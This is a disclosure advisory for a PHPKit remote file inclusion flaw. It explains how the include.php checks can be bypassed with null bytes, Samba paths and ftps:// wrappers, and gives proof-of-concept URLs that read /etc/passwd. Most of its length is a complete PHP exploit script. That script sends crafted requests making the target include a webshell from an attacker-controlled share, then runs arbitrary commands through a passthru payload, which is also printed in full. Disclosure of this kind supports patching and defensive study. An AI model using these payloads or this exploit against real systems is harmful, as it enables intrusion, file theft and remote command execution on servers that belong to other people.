PHPKIT >= 1.6.1r2 arbitrary local/remote inclusion (unproperly patched in previous versions)

Risk: High
Local: No
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 5.1/10
Impact Subscore: 6.4/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

---------- PHPKit <= v.1.6.1 release 2 remote code execution ------------------- software: site: description: a Content Management / homepage / community building software written in PHP language ------------------------------------------------------------------------ -------- vulnerable code in include.php at line 558/579: ... if(!empty($path)) $path_filename=pkDIRPUBLIC.(substr($path,-4)=='.php' ? substr(basename($path),0,-4) : $path).pkEXT; if(filecheck($path_filename)) { include($path_filename); } [*] elseif(filecheck($path) && strstr(strtolower($path),'.php') && !strstr(strtolower($path),'http://') && !strstr(strtolower($path),'https://') && !strstr(strtolower($path),'ftp://') && !strstr($path,"../")) { include($path); } elseif(!strstr(strtolower($file),'http://') && filecheck($file) && !strstr($file,"../") && file_extension($file)!='php') { $site_body.=implode('',file($file)); } elseif(!empty($src)) { $src=pkEntities($src); eval("$site_body.="".getTemplate("site_iframe")."";"); } else pkEvent('page_not_found'); ... and in inc/func/default.php at line 355-362: ... function filecheck($file) { if(!($fp=@fopen($file,'r'))) return false; fclose($fp); return true; } ... "path" var is not properly sanitized before to be used to include files from local resources. Look carefully at [*]: script checks if "path" is an existing and readable file, it must not contain "http://", "ftp://" url wrappers and "../" chars, it must contain the ".php" extension. This checks can be easily overrided to include files from local and external resources, poc: if magic_quotes_gpc = Off, you can view any file on target system using a null char: http://[target]/[path]/include.php?path=/etc/passwd%00.php http://[target]/[path]/include.php?path=c:boot.ini%00.php (about this: strstr() function find ".php" extension, but fopen() and include() do not consider any char after a null char) regardless of any php.ini settings you can include an arbitrary php file from local resources: http://[target]/[path]/include.php?path=c:[path_to]test.php http://[target]/[path]/include.php?path=/[path_to]/test.php also, since fopen() and include() functions support Samba and FTP secure url wrappers, if allow_url_fopen = On, you can include a php file from external resources, poc: from a samba server: http://[target]/[path]/include.php?path=\ from a ftp secure server (this should works if php is compiled in support for OpenSSL) http://[target]/[path]/include.php?path=ftps://username:password@somehos t/shell.php if shell.php have this code inside: <?php system($_GET[cmd]);?> you can execute commands on target system, poc: http://[target]/[path]/include.php?cmd=ls%20-la&path=\ ll.php ------------------------------------------------------------------------ -------- exploit: <?php # ---PHPKIT_161r2_incl_xpl.php 4.27 16/02/2006 # # # # PHPKIT <= 1.6.1R2 remote commands execution exploit # # coded by rgod # # site: # # # # -> works with allow_url_fopen = On # # usage: launch from Apache, fill in requested fields, then go! # # # # Sun-Tzu: "All men can see the tactics whereby I conquer, but what none can # # see is the strategy out of which victory is evolved." # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",0); ob_implicit_flush (1); echo'<html><head><title>* PHPKIT <= 1.6.1R2 remote commands execution exploit ** </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img {background-color: #FFFFFF !important} input {background-color: #303030 !important} option { background-color: #303030 !important} textarea {background-color: #303030 !important} input {color: #1CB081 !important} option {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox {background-color: #303030 !important} select {font-weight: normal; color: #1CB081; background-color: #303030;} body {font-size: 8pt !important; background-color: #111111; body * {font-size: 8pt !important} h1 {font-size: 0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: normal !important} *{text-decoration: none !important} a:link,a:active,a:visited { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6"> * PHPKIT <= 1.6.1R2 remote commands execution exploit ** </p><p class="Stile6">a script by rgod at <a href=""target="_blank"></a> </p> <table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input type="text" name="host"> <span class="Stile5">* target ( </span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex: /phpkit/ or just / ) </span></p><p><input type="text" name="cmd"> <span class="Stile5"> * specify a command </span> </p> <p> <input type="text" name="smb_location"><span class="Stile5">* specify a Samba resource(ex: \\192. 168.1.2\c\path_to\shell.php </span></p> <p> <input type="text" name="port"> <span class="Stile5">specify a port other than 80 (default value)</span> </p> <p><input type="text" name="proxy"><span class="Stile5"> send exploit through an HTTP proxy (ip:port) </span> </p> <p> <input type="submit" name="Submit" value="go!"></p></form></td></tr></table></body></html>'; function show($headeri) { $ii=0;$ji=0;$ki=0;$ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1){ $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".htmlentities($headeri[$li+$ki])."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) { echo "<td>0".htmlentities($datai)."</td>"; } else { echo "<td>".htmlentities($datai)."</td> "; } $ii++;$ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td> </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".htmlentities($headeri[$li])."</td>"; } echo "</tr></table>"; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacket() //2x speed { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.<br>"; echo "Attempting to connect to ".$host." on port ".$port."...<br>"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.rnReason: (".$result.") " . socket_strerror($result) . "<br><br>"; } else { echo "OK.<br><br>"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:<br>"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid prozy...';die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock);echo nl2br(htmlentities($html)); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$smb_location=urlencode(trim($_POST[smb_location])); $cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy]; echo "<span class="Stile5">"; if (($host<>'') and ($path<>'') and ($cmd<>'') and ($smb_location<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("r","",$host);$host=str_replace("n","",$host); $path=str_replace("r","",$path);$path=str_replace("n","",$path); # STEP X -> One and unique, arbitrary remote inclusion ... $packet="GET ".$p."include.php?CMD=$cmd&path=".$smb_location."/ HTTP/1.1rn"; $packet.="Host: ".$host."rn"; $packet.="User-Agent: GoogleBot 1.1rn"; $packet.="Connection: Closernrn"; show($packet); sendpacketii($packet); if (eregi("Hi Master!",$html)) {echo "Exploit succeeded...";} else {echo "Exploit failed...";} } else {echo "Note: on \\someip\path_to\shell.php you need this code:<br><br>"; echo nl2br(htmlentities(" <?php ob_clean();echo"Hi Master!";ini_set("max_execution_time",0);passthru($_GET[CMD]);die; ?> "))."<br>"; echo "Fill * required fields, optionally specify a proxy...";} echo "</span>"; ?> ------------------------------------------------------------------------ -------- rgod site: mail: rgod at autistici org original adivsory: ------------------------------------------------------------------------ --------

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